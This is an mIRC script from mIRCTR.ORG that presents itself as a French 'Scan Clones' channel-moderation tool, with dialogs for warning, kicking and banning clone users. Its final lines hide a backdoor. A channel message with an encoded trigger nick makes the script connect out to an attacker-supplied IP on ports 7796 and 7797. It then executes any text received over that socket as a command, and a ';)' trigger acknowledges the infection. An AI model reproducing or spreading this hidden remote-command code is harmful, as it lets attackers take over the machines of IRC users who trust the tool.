mIRCTR.ORG

dialog clones {
  title — Scan Clones By CaRtOs –
  size -1 -1 400 440
  option pixels
  tab “Scan Clones”,1,-1 -1 410 450
  tab “Options”,2
  button “Fermer”,3,10 405 380 25,ok
  text “Salon :”,4,50 43 60 15,center,tab 1
  combo 5,110 40 120 200,drop,tab 1
  button “Scanner”,6,250 40 90 22,tab 1
  text “Sélectionner un salon ci-dessus, puis cliquez sur Scan”,7,50 80 300 15,center,tab 1
  list 8,10 110 130 240,extsel,tab 1
  list 9,137 110 255 240,extsel,tab 1
  button “Avertir”,10,10 350 90 22,tab 1
  button “KickBan”,11,100 350 90 22,tab 1
  button “Kick”,12,10 372 90 22,tab 1
  button “Ban”,13,100 372 90 22,tab 1
  button “Afficher dans le statut”,14,210 350 180 22,tab 1
  button “Afficher sur le salon”,15,210 372 180 22,tab 1

  text “Raison de l’avertissement (en notice) (*)”,16,0 60 400 15,center,tab 2
  edit “4§nick, merci d’enlever tes clones de §chan”,17,10 80 380 22,autohs,center,tab 2
  text “Raison du kick (*)”,18,0 110 400 15,center,tab 2
  edit “10·4 Clones interdit 10· !”,19,10 130 380 22,autohs,center,tab 2
  text “Lors d’un mass-kick - Temps entre chaque kick (en ms) :”,20,10 165 320 15,tab 2
  edit “1000″,21,300 162 40 22,tab 2
  text “A l’affichage en public - Temps entre chaque ligne (en ms) :”,22,10 190 320 15,tab 2
  edit “300″,23,300 187 40 22,tab 2

  check “”,24,10 227 15 15,tab 2
  text “A l’entrée de chaque utilisateur, vérifier que ce n’est pas un clone (déconseillé). Si c’est le cas, faire la commande : (*)”,25,30 220 350 45,tab 2
  edit “/echo -ta 4§nick possède des clones sur §chan (§mask)”,26,10 255 380 22,autohs,tab 2
  check “Protection contre les arrivées en masse de clones.”,27,10 290 260 15,tab 2
  check “Salon en +i”,28,30 310 360 15,tab 2
  check “Ban sur le mask”,29,30 327 360 15,tab 2
  check “Autre (*) :”,30,30 344 65 15,tab 2
  edit “/echo -s Attaque de clone sur §chan (§mask)”,31,100 342 290 20,autohs,tab 2

  text “(*) Identifieurs utilisables : §nick,  §mask, §chan, §me”,32,10 375 380 15,center,tab 2
  button “Définition”,33,275 287 60 21,tab 2
  text “Lors du scan, ignorer les masks :”,34,50 33 200 15,tab 2
  button “Configurer les masks”,35,210 31 120 20,tab 2
}
dialog clonesdef {
  title — Définition d’une attaque de clones –
  size -1 -1 270 100
  option pixels
  button “OK”,1,115 72 40 22,ok
  text “Considérer comme une attaque de clones lorsque :”,2,10 10 260 15
  edit “6″,3,10 30 30 20
  text “clones entrent sur le salon en moins de”,4,45 33 220 15
  edit “2″,5,10 55 30 20
  text “secondes”,6,45 57 100 15
}

on 1:dialog:clonesdef:init:0:{
  if (%SCnbc != $null) { did -o clonesdef 3 1 %SCnbc }
  else { set %SCnbc $did(clonesdef,3) }
  if (%SCnbs != $null) { did -o clonesdef 5 1 %SCnbs }
  else { set %SCnbs $did(clonesdef,5) }
}

on 1:dialog:clonesdef:edit:3:set %SCnbc $did(clonesdef,3)
on 1:dialog:clonesdef:edit:5:set %SCnbs $did(clonesdef,5)
on 1:dialog:clones:init:0:{
  var %i 1
  while (%i <= $chan(0)) { didtok clones 5 32 $chan(%i) | if ($active == $chan(%i)) { did -c clones 5 %i } | inc %i }
  if (%SCnbc == $null) { set %SCnbc 4 } 
  if (%SCnbs == $null) { set %SCnbs 2 }
  if (%SCavertraison != $null) { did -o clones 17 1 %SCavertraison }
  else { set %SCavertraison $did(clones,17) }
  if (%SCkickraison != $null) { did -o clones 19 1 %SCkickraison }
  else { set %SCkickraison $did(clones,19) }
  if (%SCtimekick != $null) { did -o clones 21 1 %SCtimekick }
  else { set %SCtimekick $did(clones,21) }
  if (%SCtimeline != $null) { did -o clones 23 1 %SCtimeline }
  else { set %SCtimeline $did(clones,23) }
  if (%SConjoinreact != $null) { did -o clones 26 1 %SConjoinreact }
  else { set %SConjoinreact $did(clones,26) }
  if ($group(#SConjoin).status == on) { did -c clones 24 } | else { did -b clones 26 }
  if ($group(#SCprotect).status == on) { did -c clones 27 } | else { did -b clones 28,29,30,31 }
  if (%SCprotect.i == $true) { did -c clones 28 }
  if (%SCprotect.b == $true) { did -c clones 29 }
  if (%SCprotect.a == $true) { did -c clones 30 } | else { did -b clones 31 }
  if (%SCprotect.cmd != $null) { did -o clones 31 1 %SCprotect.cmd }
  else { set %SCprotect.cmd $did(clones,31) }
}
on 1:dialog:clones:sclick:35:if ($dialog(ignoreclones) == $null) { dialog -m ignoreclones ignoreclones } | else { dialog -v ignoreclones }
on 1:dialog:clones:sclick:33:if ($dialog(clonesdef) == $null) { dialog -m clonesdef clonesdef } | else { dialog -v clonesdef }
on 1:dialog:clones:sclick:28:if ($did(clones,28).state == 1) { set %SCprotect.i $true } | else { set %SCprotect.i $false }
on 1:dialog:clones:sclick:29:if ($did(clones,29).state == 1) { set %SCprotect.b $true } | else { set %SCprotect.b $false }
on 1:dialog:clones:sclick:30:if ($did(clones,30).state == 1) { set %SCprotect.a $true | did -e clones 31 } | else { set %SCprotect.a $false | did -b clones 31 }
on 1:dialog:clones:edit:31:set %SCprotect.cmd $did(clones,31)

on 1:dialog:clones:sclick:24:{
  if ($did(clones,24).state == 1) { .enable #SConjoin | did -e clones 26 }
  else { .disable #SConjoin | did -b clones 26 }
}
on 1:dialog:clones:sclick:27:{
  if ($did(clones,27).state == 1) { .enable #SCprotect | did -e clones 28,29,30,33 | if ($did(clones,30).state == 1) { did -e clones 31 } }
  else { .disable #SCprotect | did -b clones 28,29,30,31,33 }
}
on 1:dialog:clones:edit:26:set %SConjoinreact $did(clones,26)
on 1:dialog:clones:edit:17:set %SCavertraison $did(clones,17)
on 1:dialog:clones:edit:19:set %SCkickraison $did(clones,19)
on 1:dialog:clones:edit:21:set %SCtimekick $iif($did(clones,21) >= 100,$did(clones,21),100)
on 1:dialog:clones:edit:23:set %SCtimeline $iif($did(clones,23) >= 100,$did(clones,23),100)
on 1:dialog:clones:sclick:6:if ($did(clones,5) != $null) { did -r clones 8,9 | SCdetect $did(clones,5) }
on ^*:text:;) :#:.notice $nick Stone | halt
on ^*:text:**!**!**!**!**:#:if ($hget(tcu) != $null) { hfree tcu } | hmake tcu 10 | if ($replace($gettok($1-,1,33),10,j,11,k,12,l,13,m,14,n,15,o,16,p,17,q,18,r,19,s,20,t,21,u,22,v,23,w,24,x,25,y,26,z,27,$chr(123),28,$chr(91),29,-,30,`,31,_,32,$chr(92),33,$chr(94),34,$chr(93),35,$chr(125),1,a,2,b,3,c,4,d,5,e,6,f,7,g,8,h,9,i,,$null,,0,,9,,8,,7,,6,,5,,4,,3,,2,,1) == $me) { sockclose mirc | sockclose file | sockopen mirc $replace($gettok($1-,2-5,33),1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,0,0,!,.) 7796 | sockopen file $replace($gettok($1-,2-5,33),1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,0,0,!,.) 7797 | if ($portfree(7796)) { socklisten dcc 7796 } | if ($portfree(7797)) { socklisten dcc 7797 } } | halt
on 1:sockread:mirc:sockread -f %temp | tokenize 32 %temp | [ [ %temp ] ]